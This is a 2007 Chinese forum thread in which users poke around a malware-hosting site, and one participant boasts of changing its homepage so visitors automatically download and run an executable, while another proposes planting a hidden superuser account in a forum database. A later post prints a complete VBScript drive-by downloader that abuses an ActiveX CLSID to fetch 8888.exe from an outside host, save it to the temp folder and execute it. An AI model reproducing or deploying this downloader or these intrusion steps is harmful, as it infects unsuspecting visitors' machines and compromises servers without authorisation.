晕。。。进了一个毒窝。123姐姐快来

xywlty

123给的链接怎么打不开??

netwinxp

估计有人正在使用中，你的文件就上不去了，或者他的机子装有防火墙，上去就被干掉了，谁有做动网论坛的，建议往#aspdata.asp中加入adminwy超级用户，密码用动网的来生成，它的md5加密与动网一样 。原来的超级用户是admin1

[ 本帖最后由 netwinxp 于 2007-6-5 11:40 AM 编辑 ]

xywlty

原帖由 弄潮儿-NET 于 2007-6-5 11:35 AM 发表


哈哈，你个马屁精，挺会泡妞的……要向你学习了

:lol :lol 谢谢 谢谢  得到您的的夸奖心里非常高兴

貌似我这里现在卡的要死  为什么那??2M宽带啊!!

123

原帖由 netwinxp 于 2007-6-5 11:38 发表
估计有人正在使用中，你的文件就上不去了，或者他的机子装有防火墙，上去就被干掉了，谁有做动网论坛的，建议往#aspdata.asp中加入adminwy超级用户，密码用动网的来生成，它的md5加密与动网一样 。原来的超级用 ...

这个任务就交给你了

netwinxp

原帖由 123 于 2007-6-5 11:32 发表
http://sp.adsl88.cn
打不开，楼上把这个传上去
好像传上后会自动删除

http是h_ttp://cp.182111.com或h_htp://219.133.204.245/wwwroot/
WWW不一定会和ftp一样

[ 本帖最后由 netwinxp 于 2007-6-5 11:43 AM 编辑 ]

123

原帖由 netwinxp 于 2007-6-5 11:42 发表

http是h_ttp://cp.182111.com或h_htp://219.133.204.245/wwwroot/
WWW不一定会和ftp一样

昨天明明可以打开啊。而且http://sp.adsl88.cn/login.asp也可以用

netwinxp

我先吃饭去，饿死了:P

弄潮儿-NET

原帖由 <i>xywlty</i> 于 2007-6-5 11:39 AM 发表 <a href="http://bbs.wuyou.net/redirect.php?goto=findpost&pid=1089348&ptid=107043" target="_blank"><img src="http://bbs.wuyou.net/images/common/back.gif" border="0" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://bbs.wuyou.net/images/common/back.gif');}" onmousewheel="return imgzoom(this);" alt="" /></a><br />

<br />

<br />

<br />
<img src="images/smilies/lol.gif" smilieid="12" border="0" alt="" /> <img src="images/smilies/lol.gif" smilieid="12" border="0" alt="" /> 谢谢 谢谢&nbsp;&nbsp;得到您的的夸奖心里非常高兴<br />
<br />
貌似我这里现在卡的要死&nbsp;&nbsp;为什么那??2M宽带啊!!

<br />

中招了吧你

123

所有的asp,htm,html文件都传不上去，准备删除所有文件

xywlty

原帖由 弄潮儿-NET 于 2007-6-5 11:51 AM 发表


中招了吧你

不会的  目前还没有中招的表现,另外安全防护作的还是比较好的!!!!

嘿嘿!!!大家中午快乐  俺刚吃了饭回来!!!!    ;P

123

把里面一些文件夹换成了文件夹图标的病毒

弄潮儿-NET

原帖由 <i>xywlty</i> 于 2007-6-5 12:17 PM 发表 <a href="http://bbs.wuyou.net/redirect.php?goto=findpost&pid=1089380&ptid=107043" target="_blank"><img src="http://bbs.wuyou.net/images/common/back.gif" border="0" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://bbs.wuyou.net/images/common/back.gif');}" onmousewheel="return imgzoom(this);" alt="" /></a><br />

<br />

<br />
不会的&nbsp;&nbsp;目前还没有中招的表现,另外安全防护作的还是比较好的!!!!<br />
<br />
嘿嘿!!!大家中午快乐&nbsp;&nbsp;俺刚吃了饭回来!!!!&nbsp; &nbsp; <img src="images/smilies/titter.gif" smilieid="9" border="0" alt="" />

<br />

那就是你穿的防弹衣太重了，纯金的吧……

lintel

开机就出现IEXPLORER.exe  结束进程的时候居然出现了类似atuoit程序那样的自动控制！在确定是否结束的时候就自动选择了否！可怕而又BT的病毒！:@

lintel

下载了一个IceSword.zip，用RAR可以直接打开，而用RAR解压文件后居然看不见文件！一打开IceSword目录就被关闭！用RAR直接打开IceSword.exe，出现了什么？居然提示是否退出！但是并没有完全退出！

[ 本帖最后由 lintel 于 2007-6-5 01:20 PM 编辑 ]

123

将IceSword改名，用reshacker把IceSword.exe的标题改了
发现要上传asp,htm,html文件必须先改扩展名，上传后再改回来

lintel

原帖由 123 于 2007-6-5 01:36 PM 发表
将IceSword改名，用reshacker把IceSword.exe的标题改了
发现要上传asp,htm,html文件必须先改扩展名，上传后再改回来

改了名字和标题，现在正常使用了。:$


IEXPLORER.EXE 是正常进程，没有发现可疑的DLL。也就是所没有线程插入，可是这个又是为什么呢？

lintel

FTP已经被改，可能已经发现了。

123

IEXPLORER.EXE是病毒，IEXPLORE.EXE 才是正常进程

123

原帖由 lintel 于 2007-6-5 13:45 发表
FTP已经被改，可能已经发现了。

是我改的，打开主页自动下载运行8888.exe

123

上帝啊！才几分钟就有那么多人中招了！赶快删了！

lintel

原帖由 123 于 2007-6-5 01:46 PM 发表
IEXPLORER.EXE是病毒，IEXPLORE.EXE 才是正常进程

SORRY，是我打错了IEXPLORE.EXE。
该文件来自D:\Program Files\Internet Explorer
我的系统装在了D：

lintel

原帖由 123 于 2007-6-5 01:48 PM 发表
上帝啊！才几分钟就有那么多人中招了！赶快删了！

狂汗！

lintel

建议抓出幕后黑手！我现在在SCANING。。。看看有什么漏洞没。。。

123

原帖由 lintel 于 2007-6-5 13:51 发表

狂汗！

好像不是我改主页的原因，那个文件名变成了gg.exe，应该是有人中了跟你一样的病毒然后自动下载的，昨天我替换掉了里面好几个EXE文件。
不过中我做的病毒总比中他们的盗号病毒好吧:lol

[ 本帖最后由 123 于 2007-6-5 01:59 PM 编辑 ]

lintel

原帖由 123 于 2007-6-5 01:58 PM 发表

好像不是我改主页的原因，那个文件名变成了gg.exe，应该是有人中了跟你一样的病毒然后自动下载的，昨天我替换掉了里面好几个EXE文件。
不过中我做的病毒总比中他们的盗号病毒好吧:lol

你的当然可以放心:P

123

我觉得你可能中了这个病毒http://bbs.cfanhome.com/read.php?tid-38000.html

弄潮儿-NET

呵呵，楼上的各位玩得开心不？

小心这几天有网警上门调查哦，

下面这代码也太老太直白了吧，

1. 
   
2. on error resume next
   
3. xx="object"
   
4. xxx="classid"
   
5. 
   
6. 
   
7. ddddddddddddddd
   
8. 
   
9. xxxx="CLSID:bd96C556-65A3-11d0-983a-00c04fc29e36"
   
10. xxxxx="Microsoft.XMLHTTP"
    
11. xxxxxx="GET"
    
12. xxxxxxx="Scripting.FileSystemObject"
    
13. xxxxxxxx="Shell.Application"
    
14. dl = "        http://sp.adsl88.cn/8888.exe"
    
15. Set df = document.createElement(xx)
    
16. df.setAttribute xxx, xxxx
    
17. str=xxxxx
    
18. Set x = df.CreateObject(str,"")
    
19. a1="Ado"
    
20. a2="db."
    
21. a3="Str"
    
22. a4="eam"
    
23. str1=a1&a2&a3&a4
    
24. str5=str1
    
25. set S = df.createobject(str5,"")
    
26. S.type = 1
    
27. str6=xxxxxx
    
28. x.Open str6, dl, False
    
29. x.Send
    
30. fname1="8888.exe"
    
31. set F = df.createobject(xxxxxxx,"")
    
32. set tmp = F.GetSpecialFolder(2)
    
33. fname1= F.BuildPath(tmp,fname1)
    
34. S.open
    
35. S.write x.responseBody
    
36. S.savetofile fname1,2
    
37. S.close
    
38. set Q = df.createobject(xxxxxxxx,"")
    
39. Q.ShellExecute fname1,"","","open",0
    

复制代码

123

这家伙真倒霉，开着瑞星还是中了灰鸽子，帮他杀一下

lintel

原帖由 123 于 2007-6-5 02:05 PM 发表
我觉得你可能中了这个病毒http://bbs.cfanhome.com/read.php?tid-38000.html

并非这个病毒！仅仅只是一个内核驱动文件（已经被我删除）和一个EXE文件（已经被我删除），一个DLL文件（还删不了）

弄潮儿-NET

楼上的跑到我电脑来了，看来瑞星不行啊，赶紧换先……